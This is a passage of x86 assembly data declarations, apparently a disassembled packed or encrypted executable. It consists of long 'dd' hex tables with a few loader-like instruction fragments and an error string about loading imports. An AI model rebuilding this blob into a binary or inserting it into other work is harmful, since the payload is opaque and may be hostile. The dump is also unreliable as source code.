29028EEh, 319577Fh, 23305E38h, 48DCD611h dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h dd 32732A54h, 3376B77h, 53AFB0D9h, 7BAEA7AFh, 4B959232h dd 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h dd 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h dd 0CEB824FDh, 308FA7FFh, 5754489Ch, 20A09A87h, 25FB0E03h dd 60CC90CEh, 0CE825D40h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 6127C0D5h, 0ED96A7AFh, 8A152AA8h, 0A0242945h, 261957DFh dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh dd 60F34DCEh, 32DCF140h, 8FFFCD6Ah, 0EDD871BAh, 8A42C3A8h dd 0DDAEA245h, 8260D558h, 4E2638C8h, 7462FBEh, 42B69CDFh dd 3C6D551h, 92B85E00h, 75152A54h, 0DDAEAE30h, 98FA75Ch dd 0FB5448A3h, 6D2BB0D9h, 7BAEA7AFh, 63E96FDDh, 0A851A258h dd 75195FABh, 32DCAA30h, 8FFFCCDBh, 96CB2F16h, 7510C0B3h dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h dd 8D8D0000h, 5EAECFDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 24C35545h, 0E94B8793h, 0Dh, 8438843h dd 0EA4E5EB0h, 0D3119566h, 68E0F1Ah, 8B000000h, 0E431D585h dd 958D8905h, 8B05E410h, 0E411C5BDh, 6585C705h, 5405E42Ch dd 6A00006Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0F791C351h, 85C7979Ch, 5E430FDh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 9AC35343h dd 23E32F09h, 0F747BF66h, 1001B5FFh, 6A05E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8F6566C3h dd 1DF46368h, 95FF04B2h, 5E42A61h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E7C35242h, 21BF74C7h, 6A114785h dd 0C195FF00h, 8B05E410h, 6679EBC0h, 2229982Ah, 9C7E224h dd 83D80CB2h, 147BD130h, 853425DCh, 84A50AF1h, 3D1C7EFAh dd 4FE666BDh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h, 4E443A78h dd 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch, 3F743E4Ah dd 0FE7A6D2Eh, 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h dd 58BED968h, 6373142h, 55F710E5h, 0C6234100h, 95C29E97h dd 15A655h, 0D1F1BA01h, 0A8B3D4Ah, 0EE0A8D8Dh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 3C77D8C3h, 8B66D538h, 958D89C3h, 0F05E410h, 386h, 0F9BF0F00h dd 2C6585C7h, 71E805E4h, 0BF660000h, 958BF19Fh, 5E42881h dd 30FD85C7h, 5E4h, 0BF660000h, 0B5FFBEC4h, 5E42DBDh, 95FF5B52h dd 5E42A61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 6EC35545h, 676FBE06h, 95FF006Ah, 5E410C1h, 1DEBC08Bh dd 53200BF2h, 0A9B049EAh, 30C6B1Bh, 6705B597h, 0F3A68B49h dd 8DB98452h, 4E6EE657h, 0B9E9FAh, 95460000h, 2BAF7B1Ah dd 78F129ACh, 9244DEC1h, 29AC7619h, 0BFFE2FAEh, 0E9EC6BEAh dd 8302BD31h, 3756D187h, 0EAED6CEBh, 31330C53h, 0B354EFD4h dd 0C5779EF5h, 0DD9F8B4Ah, 714BCE8Bh, 83B91C2h, 0A5AF0D4Fh dd 7DF02A33h, 0E59F9DC2h, 0DA1D4F04h, 1619E6E9h, 274F04E6h dd 4F475C61h, 0A684F958h, 64EC26Dh, 6DFC7E47h, 0B7784EC2h dd 7EA88942h, 0D34F04A2h, 4F467B8Fh, 3AEh, 5106F900h, 7F4DC477h dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 0EE3168B3h, 0E7E905EAh dd 7AFFF98Eh, 0D62A9CBCh, 5EEFE802h, 0B84AB473h, 5EAEED4h dd 4EBC503h, 943A94Bh, 0DB4E9h, 0F0FD6800h, 0BFE905EAh dd 68FFF98Eh, 5EAF1D5h, 0F98EB5E9h, 0F2C768FFh, 0ABE905EAh dd 68FFF98Eh, 5EAF352h, 0F98EA1E9h, 0F74168FFh, 97E905EAh dd 68FFF98Eh, 5EAFA46h, 0F98E8DE9h, 0FB2A68FFh, 83E905EAh dd 35FFF98Eh, 9E840B82h, 0E03A5DDAh, 33EFEE69h, 9B870681h dd 0EF385FDAh, 9D14D9D0h, 33AC20FAh, 47C076ACh, 9A1DDA40h dd 201D4CFBh, 54EFD542h, 778FC4A2h, 0EB714BC6h, 9C1BF36Dh dd 0A95E2E41h, 18725174h, 455B8609h, 46359E11h, 7B440B89h dd 54E96C06h, 6EE96DB5h, 822CE95Ah, 62C47B51h, 0ED54E96Ah dd 67DC151Dh, 9033F951h, 48h, 64D6CCC7h, 8FF0D1EBh, 4F04E5ADh dd 3E9BCC0Fh, 0A729827Bh, 2B14FB2Ch, 54E908AAh, 2FA820CAh dd 6775A69Dh, 0E9087EE0h, 59D68654h, 0FC77F903h, 4AB61CECh dd 2F533782h, 0F8EB9DE6h, 7AFC2633h, 75914C1h, 0FC000000h dd 9442Ch, 0D6CC7B00h, 8BACF066h, 0E6574912h, 6DE469B5h dd 76F166A0h, 9813D862h, 0DA48DD35h, 7333F8FEh, 0C1A007A6h dd 54F7EFCh, 0E824FE4Fh, 12DA7EB3h, 4FEA2419h, 1D74F1CAh dd 9A5326F3h, 8748B518h, 0EF54E976h, 0C5AB9C2Ch, 54E951h dd 0C4BF76BAh, 3533F938h, 59h, 20E6CC60h, 0A02792E2h, 6AFFDB08h dd 6548D078h, 34E1BBFEh, 0EAA316C3h, 0DF108B41h, 0A8A51278h dd 71ACF21Bh, 87FCC1A4h, 0F754E9FDh, 0ADB3B404h, 1854E9BCh dd 0AC975E42h, 3533F9A0h, 984426DDh, 0D27DB9E7h, 79C10D7Dh dd 0F97B441Bh, 7B54E8EBh, 0D38A47B8h, 8Bh, 49C0777Ah, 0ED64E973h dd 0F8E4DDFh, 0B128AFBDh, 32BD84EEh, 84FC470Fh, 0C54BB4CBh dd 0CF4F0510h, 140E9108h, 0D99424A7h, 0D62FEE6Ch, 54E92A65h dd 3C8F0EC1h, 211EC143h, 5ACF8F2Ah, 0D0CA8D4Eh, 27E3E21Dh dd 0D6B23BB6h, 0DD222074h, 0B03B67Fh, 0C98A0000h, 67D34F4Eh dd 0B425FDE0h, 0C6889235h, 1DD04A4Dh, 8B2AE3E2h, 0BD205F1Eh dd 5776F165h, 0B8A0DCBh, 0BE21581Fh, 0FD7F4007h, 7F54EFD5h dd 0C6775209h, 19DE444Bh, 0D86EFF9Eh, 0D52AED6Fh, 54E90860h dd 6EB41BDCh, 51636AECh, 5CFE0385h, 352AAE6Bh, 54E9C133h dd 0DC4CC9Eh, 33F9A436h, 0AEA7h, 0D6CCF600h, 1FD4E463h dd 6D35603h, 714E5F1Ch, 4F04E5F3h, 7F4DBE71h, 26368EDh dd 4F04E620h, 0EFFD7EFCh, 54894A74h, 0EB3DC304h, 90474F04h dd 2FAC7619h, 0F4A11CACh, 0DDAE9776h, 3954E90Bh, 4D0B17F6h dd 9F842DD3h, 0A596765Dh, 6C73DC17h, 6F2EAC19h, 0D072EA16h dd 0CA8D4E5Ah, 47FB1DD0h, 5450FD9Ah, 0EF3B5A8Fh, 98CAF36Eh dd 2B222118h, 0A2BC0A1h, 31A20000h, 4F0B17B6h, 9C5DC5C8h dd 2EA07A1Dh, 450812B5h, 6352CBCAh, 85088736h, 3F5ED99Dh dd 0D3F275E3h, 86098037h, 0D557A8FFh, 5754EFD6h, 0C6777A51h dd 19DE444Bh, 776EFF9Eh, 0E97349C0h, 1E4EB62h, 2815F432h dd 4F04E64Ah, 118A40AAh, 0FA5788BBh, 6EED463Fh, 5542F3F6h dd 0A69BF25Ch, 29EC2112h, 4D95FBC1h, 9875CCDAh, 0BD3C66C5h dd 0DE27AE3Ah, 4F05735Ch, 692217D8h, 0E99D6F08h, 50061C54h dd 0BF707AD7h, 9F5CF2D8h, 4E5EF18Eh, 405A2B85h, 7946138Ch dd 0FEAE54D6h, 5FA0B06Dh, 0FB25F3DDh, 8900B55Fh, 43BC6354h dd 10A1AD2h, 7E6B41B2h, 765C0381h, 0A69F08AEh, 0F8CA74C4h dd 64A3EF20h, 53329F46h, 0B1EC3C12h, 309758FEh, 75F36DEAh dd 1697F71Eh, 9DFCE3D4h, 0AD63C13Eh, 0EC1FB27h, 1B925945h dd 55E252h, 0A203C976h, 939h, 1843FB0h, 0B7D65119h, 646BEE6Bh dd 1C833CBEh, 0B5D85706h, 91445560h, 2BAB7716h, 7BF129ACh dd 9645DDC0h, 9AC97017h, 0EFD7C7A5h, 8472554h, 7349C077h dd 440B8946h, 0E8E6BA7Bh, 9AEBBA54h, 54E8E598h, 2FEE2314h dd 0C3C245F3h, 42169147h, 0E8E59F9Dh, 1DDCC654h, 558601B3h dd 0F5B5BBF8h, 0BEE454E8h, 65D4813Eh, 1A6B2AA8h, 5ACD10A9h dd 2773D205h, 6B342FAEh, 4D0FC818h, 388138BFh, 2222DA52h dd 0AE1EE775h, 25000008h, 8E943BB2h, 0D04A4DCAh, 23FF9E19h dd 8B9736B1h, 0DF484FCAh, 8D04C9E0h, 235C100Ah, 77F066BCh dd 8A0DCA50h, 0D02D7C0Bh, 54EFD952h, 0D8FFD4D2h, 9710C46Fh dd 0BD1CE3A2h, 4E5E240h, 34B3224Fh, 620D498Ah, 0BADB845Fh dd 65569F78h, 0C154E91Ch, 54D3869Ch, 0E8EC0D6Fh, 7BAC6F54h dd 981FDB61h, 0F46CED35h, 7E1205ACh, 0CF88FDAAh, 58F662B8h dd 92261B94h, 0E867D733h, 0C3B663D0h, 0F6CF8E04h, 54E998ACh dd 0D5B507C8h, 7159030Fh, 0DC3A7384h, 97F16E6Ch, 6050044Eh dd 10D8C28Fh, 0B06B58Eh, 386DCECEh, 6E573695h, 54E9AF0Ch dd 0AEF072B3h, 8B4C54E9h, 3273DC1Fh, 54E9AF2Ch, 4B0A8047h dd 0E9AF1C7Ah, 30975854h, 567A8BDAh, 0E9490B69h, 6CA66954h dd 0D1BA8341h, 7AE454CEh, 2F12FFD0h, 55788A5h, 0E99A54C2h dd 78B80254h, 6267C822h, 504717DDh, 0C1177F06h, 4E0B5ACCh dd 8C139444h, 0C0BAC52Dh, 0EB4DFE0Ch, 0E933989Ah, 0EE231454h dd 0EF71F925h, 9496E934h, 0EEFA2F92h, 0E8F84779h, 7DA50F54h dd 345BDC9Ch, 4D109A41h dd 0E8F7EF70h, 34847754h, 4A5C9633h, 0E929F1C9h, 9193ECB3h dd 13C08A5Bh, 40037720h, 0A99F9A43h, 200h, 7F6FD8ECh, 4E62406h dd 1A4F804Fh, 875D4BBh, 4F04E62Ah, 0A78C498Ah, 54E8E6C2h dd 954091F9h, 3B99A086h, 3CE3545Eh, 0D7F671E6h, 4E2C11F0h dd 0AE54E96Fh, 0F166A06Dh, 31629D5Fh, 6A5B3A9Bh, 54E96F08h dd 99E6B364h, 0DC3019F9h, 8DDF5A1Fh, 6A7EF97Fh, 0CF070B5Fh dd 0FBA1E1BBh, 18B02FAFh, 0B7246E2Bh, 4D8FA02Dh, 0A6EFF270h dd 558172D1h, 5489D42Eh, 0EB62E931h, 0FD7AFE24h, 319B74EFh dd 0F766C584h, 0BEF36078h, 96FBF3DFh, 2A649F51h, 89424505h dd 31AA2CF6h, 7ACA819Bh, 9290EDF8h, 12D1A781h, 4EDCEC21h dd 86BD0F88h, 0A57D6055h, 6ED0AE36h, 3BBD8572h, 9627B7A5h dd 96C03519h, 1B31E68Fh, 49635446h, 31B46296h, 0B837A644h dd 0DB5C1A20h, 2F533981h, 533293E7h, 91B1B38Ch, 0C0333F2Dh dd 2D91A183h, 7D0033Fh, 1B6575Bh, 5C81F69Fh, 954E1A9Dh dd 50AC17B9h, 0F762B81Fh, 40189359h, 0D2F55E93h, 0AB218348h dd 76AB9830h, 4EC98B97h, 2F8ED785h, 2D1654D6h, 853EB03Fh dd 0BE7DD619h, 0BD8245CFh, 3F2D15BFh, 1C848CE6h, 0C4138BDAh dd 29AC6F0Bh, 0F7C57CF1h, 0C68903FAh, 2DB67FF9h, 0AE2BF53Fh dd 15F1EF2Bh, 0BC9B053h, 0EC6BB7D6h, 0FEA486FFh, 0CF003F2Ch dd 0B93CCE9Ah, 0F526A117h, 0C8430812h, 8EECD1F0h, 0EE3F2CFFh dd 0BD1FF82Dh, 0FA1B07EDh, 3F1BFA7Dh, 9C8A7E58h, 6B7AD757h dd 2B8138BFh, 0ED6CCFBEh, 0B0E55E6Ah, 0A4140EEDh, 3180E223h dd 0A9FC3F2Dh, 2D30D654h, 0B0E5563Fh, 453F00E7h, 0B73F2D31h dd 12D94144h, 1484CE82h, 9ACF9570h, 3DBE3CCEh, 938FDEAFh dd 0DE15A722h, 0C8296975h, 0DDC58803h, 84CD9F1Eh, 2D74B9BBh dd 87F83B3Fh, 0E86FBBCAh, 0BF6E5B71h, 1B6D5235h, 793F2D75h dd 4D0B17B6h, 4C3FECAh, 84F6CF8Eh, 0E03F2D75h, 81DB5406h dd 0E97E6152h, 5850C077h, 813EBE40h, 80DE382Bh, 0E7E6DB00h dd 0F659DB94h, 1EAA2DACh, 0A8956825h, 54E96893h, 356D30E3h dd 0BFB40487h, 0A11773D2h, 0BC3B6726h, 0F46FE13Dh, 0D89E841Bh dd 0E7500D5Fh, 0A05DA265h, 475ACD62h, 0B21F9A5Bh, 0EF68EE08h dd 0A73566DDh, 0F374E43Eh, 12A62197h, 290F7421h, 444F0572h dd 0C8AA9B8Bh, 244F0551h, 78DFBEF3h, 51C6A499h, 0F5264F05h dd 6CEADB18h, 894A54E9h, 0F2339233h, 54E95C70h, 78FF0BCCh dd 9F78EBC1h, 0EE6CC473h, 0FDB3386Dh, 21C3EA6h, 4BFEF56h dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h, 0D99C8609h dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh dd 41231C43h, 0A354EFDDh, 6FD88EC5h, 3DBA14C4h, 0C0352EBAh dd 6F7C88Fh, 6654E910h, 3F2027B5h, 8854E90Fh, 3C07CE32h dd 0AD33F8F6h, 0BCh, 0E5FC52E8h, 0D9484F04h, 0AB840BCAh dd 0DACC8AFFh, 3537081Dh, 0B74F05D9h, 5F6DEC6Dh, 5F7EB3E4h dd 5134BE6Ch, 4F088349h, 0D8AD87F8h, 0D50F4F05h, 0B3F67650h dd 81DB0C93h, 9A7DFC7Bh, 0F855CE80h, 0A22892E5h, 0F6A882E3h dd 23144F04h, 6CC47389h, 0A280FDE8h, 24F04F6h, 17CC9CD1h dd 5176322h, 9193EC36h, 134F0593h, 0DD09F620h, 0EFDAEDA6h dd 0F65CA83Bh, 3FC5A982h, 12C25C80h, 0B7CB18Ch, 3CBDE544h dd 0AD93D0BDh, 374F0539h, 0ED73F4C4h, 554F0579h, 30AF2E74h dd 79377B67h, 0E5440B81h, 0FA3B3906h, 76B94F04h, 0F9F2549Dh dd 81724F04h, 9912C4DEh, 0EE2AA93Ch, 7D000000h, 83356DCCh dd 4283B008h, 4F04E5E0h, 7B3E9B5Ch, 605D0082h, 54E90093h dd 92A800F3h, 0B8E2A522h, 688EA032h, 91AA56D0h, 0CBD70C5Ch dd 0BFCE8B0Eh, 9116C2D8h, 7845083Bh, 54E99AFAh, 1DDCB97Ah dd 9E7D20A2h, 122BACB4h, 2F7B4A00h, 185932ADh, 54E93C1Eh dd 0D017A596h, 54E93C4Dh, 0B57CA406h, 283075CEh, 1C09CBD7h dd 20874123h, 3F70A349h, 771B52h, 5E440000h, 62E30698h dd 153CBA65h, 0D8667720h, 4928EF6Dh, 0B4619851h, 4E5ED4Fh dd 3C8C4F4Fh, 6E31AE2Eh, 4D068134h, 16944F3Ah, 6AED6BB7h dd 987FDEA1h, 4E5C5A7h, 1BF4274Fh, 4E6A4DAh, 7D4F804Fh dd 0C8B4E54h, 25FC6243h, 0F05A4F05h, 8103FEB0h, 9314C4DEh dd 218067C6h, 5265EDCh, 0B01DDE4Fh, 5263D73h, 1FDD274Fh dd 0A2C91C85h, 51821945h, 0F097C87Bh, 50C07767h, 43F95543h dd 11AB9C52h, 73ED6AB0h, 381455Bh, 4E0B7CDBh, 0B1149744h dd 0C28D7C59h, 0B815BCB6h, 9F5C4625h, 0FF8B31Ch, 7F44261Fh dd 6FA04F05h, 0A56A5B3Ah, 0C154E995h, 0A385BA0Eh, 2E54E974h dd 54FC7BA7h, 0E05369E2h, 6D261DAFh, 9BE82161h, 0CC33F95Ch dd 20h, 0ED6FD80Bh, 860D52Ah, 1BDC54E9h, 7989E41h, 573354E9h dd 0EBA1E22Bh, 0CFCA33F8h, 0D000000h, 7349C077h, 0DFED64E9h dd 480F8E4Dh, 8E4BE552h, 5F7DD60Bh, 88F0ECDh, 41F871A9h dd 0EAA9AF94h, 2CAB4F04h, 3A0BEAADh, 4F04EA38h, 0C6BC80E4h dd 621C12C3h, 59C1E4B1h, 14411B92h, 976D95Bh, 54E98F7Ch dd 57017D8h, 3A0BCA48h, 5AD02486h, 346E31E2h, 0BCB70586h dd 0C5278352h, 0A16A68EDh, 33137FDEh, 5BD299B6h, 5BF8D201h dd 0F31FF878h, 0E1C0C742h, 745BD289h, 523F5EC0h, 0AD0A8548h dd 2220E5F9h, 0BA975EFAh, 31000001h, 9A8007BEh, 0EC3659DEh dd 3FEBEA6Dh, 878302BDh, 0E3345BD6h, 9910C5D4h, 2FA82CF6h dd 43C472A8h, 9611C65Ch, 241948F7h, 54EFE046h, 778BC0A6h dd 0DE444BC6h, 98FF9E19h, 0F97CD282h, 84F96A7Eh, 6FD882CBh dd 60D52AEDh, 754E908h, 0BBC7591Bh, 49C201D2h, 630FC83Dh dd 412718B0h, 8C54E900h, 483BF23Eh, 0B133F8E3h, 0C8h, 49C077E4h dd 7F64E973h, 0F330B723h, 4F04E671h, 0FDCF00F3h, 4EAC44Ah dd 0C21F7B4Fh, 0BD35783Dh, 32B9E5AEh, 490E14BBh, 16CFFACEh dd 13B3906h, 5FB94F05h, 0E32F609Fh, 0DDB8C622h, 4205763Bh dd 0B837A7E3h, 19663320h, 54E9266Ch, 358007C8h, 2A1BFA78h dd 5ACFC837h, 0DBBAA288h, 77A2D800h, 78DF109Ah, 9134B322h dd 6C4DC489h, 22209E3Ch, 0D6A809C3h, 5D000000h, 0A67C639Ah dd 812B532h, 5BC7C641h, 0A37F1E99h, 710B732h, 0F56CE1B8h dd 0B8448D2h, 5FD89E84h, 0F275E238h, 87554D3h, 54EFE12Ah dd 77A7FC8Ah, 0DE444BC6h, 415E8719h, 0D1B976E4h, 3B9AF99Ch dd 50668CAh, 40AC44Fh, 8DA06623h, 4C0DC63Bh, 7349C077h dd 24EB62E9h, 62D678FEh, 2B1CD7E5h, 22785F6Eh, 0AB9830B7h dd 0D0520BEEh, 0C574AE0Dh, 3BB43842h, 0D502115Eh, 0B56654EFh dd 9F4F8D2h, 0C27E856Ah, 32B94309h, 490E14BBh, 0A4130FCEh dd 29F5E925h, 0BF3A444Bh, 614186D2h, 0AF619924h, 8F4CADD5h dd 0DF61490Ch, 629D51D6h, 8AFA3128h, 1078FACBh, 3F45848h dd 6CEB3756h, 8B4DDFEDh, 1AE0B810h, 0C940F716h, 1C9F5CC6h dd 3E54Ch, 6300000h, 4DC47751h, 0EF6EED7Fh, 0E894FDDh dd 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h, 3EB930CAh dd 5FD890AAh, 8956B30Dh, 4C681E6h, 83000000h, 348704EEh dd 3C895C24h, 0E7895724h, 4C781h, 0EF830000h, 243C8704h dd 240C895Ch, 795468h, 24148900h, 0EAEF4268h, 240C8B05h dd 8304C483h, 248904ECh, 24048324h, 89535A04h, 85A89CBh dd 83241C8Bh, 148B04C4h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 57240C8Bh, 0C781E789h, 4 dd 4C781h, 3C870000h, 1FE95C24h, 5FFFF981h, 4F4CFE4Ch dd 382F9850h, 0FC25B84Eh, 0C50305EAh, 38E4E0FFh, 0A8CD60BCh dd 0ED6D2677h, 37577142h, 0DE80087h, 69000000h, 508C00AAh dd 0E34AF79Fh, 97554CCCh, 6E9h, 0BB279600h, 59CBEFBBh dd 8FBF6656h, 0C1815EEFh, 61A8h, 0BFC02BF8h, 1D08049Ch dd 0F0834FFh, 89h, 0F605A00h, 287h, 66616000h, 0FCDCDE81h dd 7FF28161h, 0BF250856h, 4EC78165h, 5503EA81h, 0D38101CEh dd 35E91393h, 0FA98F281h, 14891403h, 85E78101h, 81140CBAh dd 0D882F8E8h, 0DB81662Dh, 0C081168Fh, 2DD882F4h, 2830Fh dd 0DE8A0000h, 9EECF881h, 850FFFFFh, 0FFFFFF9Ch, 1800Fh dd 8DF90000h, 0EAFE1D8Dh, 0CD8D2905h, 8905E400h, 0E410958Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0EE3A1A7Ah, 4358F508h, 145DBD8Bh, 85C705E4h dd 5E42C65h, 5EE4h, 50E28166h, 0FD85C70Fh, 5E430h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 6BB4C355h, 0D88B66F7h, 21DB5FFh, 858B05E4h dd 5E42C91h, 2A6195FFh, 6A05E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0CDDE03C3h, 0FE9AB4Fh dd 285h, 6A5DB400h, 0C195FF00h, 8B05E410h, 0AF6BEBC0h dd 0C28FDF29h, 281C1BDCh, 830D440Fh, 0CECF0C57h, 0E4B3E738h dd 15088E67h, 0A6B020B2h, 0EE2F9E1Ah, 966507EBh, 0C8526FC3h dd 2F45D513h, 0EE79FFEFh, 0D4755FCDh, 7826FCABh, 0C0C2CB66h dd 98E336EEh, 64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 0B94945B7h dd 0BB99E6D8h, 0E90CB925h, 75A810F0h, 0A4A5EA37h, 3BA9904Eh dd 982D6FE4h, 27E96462h, 50000001h, 0AC73765Bh, 154EEFh dd 41000000h, 7245206Eh, 20726F72h, 20736168h, 7275636Fh dd 20646572h, 6C696877h, 6F6C2065h, 6E696461h, 6D692067h dd 74726F70h, 0AC370073h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h dd 0E30077F7h, 77F7h, 777E6h, 5 dup(0) dd 0A5FD0000h, 77E7h, 2Bh dup(0) dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 70838F96h dd 131137F1h, 6B35B11Ch, 6641D637h, 35722B61h, 77A9F29Eh dd 0EF883211h, 82662790h, 8DBFBF10h, 9914D4BDh, 0E5D069C6h dd 82663FA8h, 71563210h, 77A96145h, 0EF883211h, 82662790h dd 0BCBFBF10h, 9914D4B0h, 0EDD069C6h, 87F9B1D5h, 6627D8EBh dd 6601B61Ah, 0E3053215h, 63AEEC3Dh, 0E3AFE2EAh, 63FBEC4Dh dd 0E34EE2EAh, 63A0185Ch, 0DE705A43h, 0D3EEAEBDh, 636C14E0h dd 0B74B798h, 0B6DD37F2h, 6988B79Ch, 0E30537F1h, 63AECDA4h dd 0F4A7BF45h, 3614D8EBh, 543DA7EAh, 0E38337F1h, 63C6141Ch dd 66113215h, 4CC1B7D3h, 0E0137F1h, 0E8505B7Ch, 4EF487EAh dd 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63F52714h, 4CC1B7D3h dd 0E0737F1h, 0FA45594Bh, 4EF487EAh, 0E30537F1h, 63A00B81h dd 0E3ABE2EAh, 63FBCCDCh, 4CC1B7D3h, 0E1037F1h, 88405A3Ch dd 4EF487EAh, 0E30537F1h, 63A00B81h, 0E3ABE2EAh, 63FBCCD8h dd 4CC1B7D3h, 0E0137F1h, 0BC420AD7h, 4EF487EAh, 0E30537F1h dd 63A00B81h, 0E3ABE2EAh, 63FBCCC4h, 4F1D8F96h, 694437F1h dd 66227790h, 2F94F415h, 238DD63Fh, 463AB47Dh, 8397CDEFh dd 0EB14D63Dh, 82B1A690h, 0EF94CD10h, 8CDCE790h, 2F94F410h dd 2A8DD63Fh, 4094F17Dh, 8397CDF5h, 0EB14D63Dh, 82B1A690h dd 0EF94CD10h, 8CDCEB90h, 6651DB10h, 0E34E3215h, 63A0185Ch dd 822F5A47h, 0D3EE8E5Fh, 636C1F4Ch, 5FD0B798h, 0B6DD37F1h dd 98C4B79Ch, 0E34E37FFh, 63A0185Ch, 2C6A5A47h, 0D3EE9459h dd 636C1F4Ch, 5FD0B798h, 0B6DD37F1h, 98C8B79Ch, 0E34E37FFh dd 63A0185Ch, 0D2C85A47h, 0D3EECF57h, 636C1AF0h, 5FD0B798h dd 0B6DD37F1h, 7BDCB79Ch, 0E34E37F1h, 63A0185Ch, 0CE815A62h dd 0D3EEC182h, 636C116Ch, 5FD0B798h, 0B6DD37F1h, 6B80B79Ch dd 0E34E37F1h, 63A0185Ch, 57355A47h, 0D3EEB8C8h, 636C1AF0h dd 5FD0B798h, 0B6DD37F1h, 4600B79Ch, 0E34E37F1h, 63A0185Ch dd 0B1B5A43h, 0D3EEE60Ah, 636C14E0h, 0B74B798h, 0B6DD37F2h dd 69E8B79Ch, 0E34E37F1h, 63A0185Ch, 76585A52h, 0D3EEB3C9h dd 636C1AF0h, 5FD0B798h, 0B6DD37F1h, 6638B79Ch, 0E34E37F1h dd 63A0185Ch, 0D3C05A52h, 0D3EEB81Ah, 636C1AF0h, 5FD0B798h dd 0B6DD37F1h, 98E8B79Ch, 0DB0B37FFh, 63A016DCh, 37A63D15h dd 0A0113213h, 82A27B90h, 8F2C7E10h, 99FBE809h, 8239D7A0h dd 0F20DBF10h, 9941D62Ch, 83A7BBC5h, 0A014D8EBh, 82A27B90h dd 0A82C7E10h, 99FF46CBh, 8239D7A0h, 0F20DBF10h, 9941D62Ch dd 8FA7BBC5h, 0A014D8EBh, 82A27B90h, 592C7E10h, 9995B397h dd 8239D7A0h, 0F20DBF10h, 9941D62Ch, 8BA7BBC5h, 0A014D8EBh dd 82A27B90h, 7E2C7E10h, 99911D55h, 8239D7A0h, 0F20DBF10h dd 9941D62Ch, 8BA7BBC5h, 0A014D8EBh, 82A27B90h, 722C7410h dd 9998EC13h, 8239D7A0h, 0F20DBF10h, 9941D62Ch, 93A7BBC5h dd 0A014D8EBh, 82A27B90h, 1C2C7510h, 99A3EE05h, 8239D7A0h dd 0F20DBF10h, 9941D62Ch, 9BA7BBC5h, 0A014D8EBh, 82A27B90h dd 0CA2C7510h, 99CDB59Bh, 8239D7A0h, 0F20DBF10h, 9941D62Ch dd 67A7BBC5h, 0A014D8EAh, 82A27B90h, 0B42C7510h, 99F6A8B2h dd 8239D7A0h, 0F20DBF10h, 9941D62Ch, 63A7BBC5h, 0A014D8EAh dd 82A27B90h, 622C7510h, 9998F32Ch, 8239D7A0h, 0F20DBF10h dd 9941D62Ch, 6FA7BBC5h, 0E514D8EAh, 8294BFA8h, 46313210h dd 4C6BB7D3h, 0E5637F1h, 86FA1F72h, 4EA187EAh, 0E3AF37F1h dd 63F50B81h, 0E301E2EAh, 63AECD18h, 4C6BB7D3h, 0E5637F1h dd 0E8A181A4h, 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh dd 63AECD04h, 4C6BB7D3h, 0E5237F1h, 0A6FE78B2h, 4EA187EAh dd 0E3AF37F1h, 63F50B81h, 0E301E2EAh, 63AECD00h, 4C6BB7D3h dd 0E5D37F1h, 9DEE5EFEh, 453D87EAh, 0E3AF37F1h, 63F50B81h dd 0E301E2EAh, 63AECDBCh, 4C6BB7D3h, 0E5537F1h, 0DDFBBC40h dd 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh, 63AECD0Ch dd 4C6BB7D3h, 0E5237F1h, 0DA065CE9h, 4EA187EAh, 0E3AF37F1h dd 63F50B81h, 0E301E2EAh, 63AECD08h, 4C6BB7D3h, 0E4237F1h dd 0A0980CBFh, 4EA187EAh, 0E3AF37F1h, 63F50B81h, 0E301E2EAh dd 63AECD34h, 4B0B8F96h, 691137F1h, 6688D291h, 2FC1F415h dd 2027D63Fh, 0F0DF037Dh, 833DCDEFh, 0EB41D63Dh, 821BA690h dd 0EFC1CD10h, 8C774F90h, 2FC1F410h, 2027D63Fh, 0C12BE47Dh dd 833DCDE9h, 0EB41D63Dh, 821BA690h, 0EFC1CD10h, 8C77BF90h dd 2FC1F410h, 2027D63Fh, 9AB5327Dh, 833DCD87h, 0EB41D63Dh dd 821BA690h, 0EFC1CD10h, 8C77A390h, 2FC1F410h, 2027D63Fh dd 0B25E587Dh, 833DCDE3h, 0EB41D63Dh, 821BA690h, 0EFC1CD10h 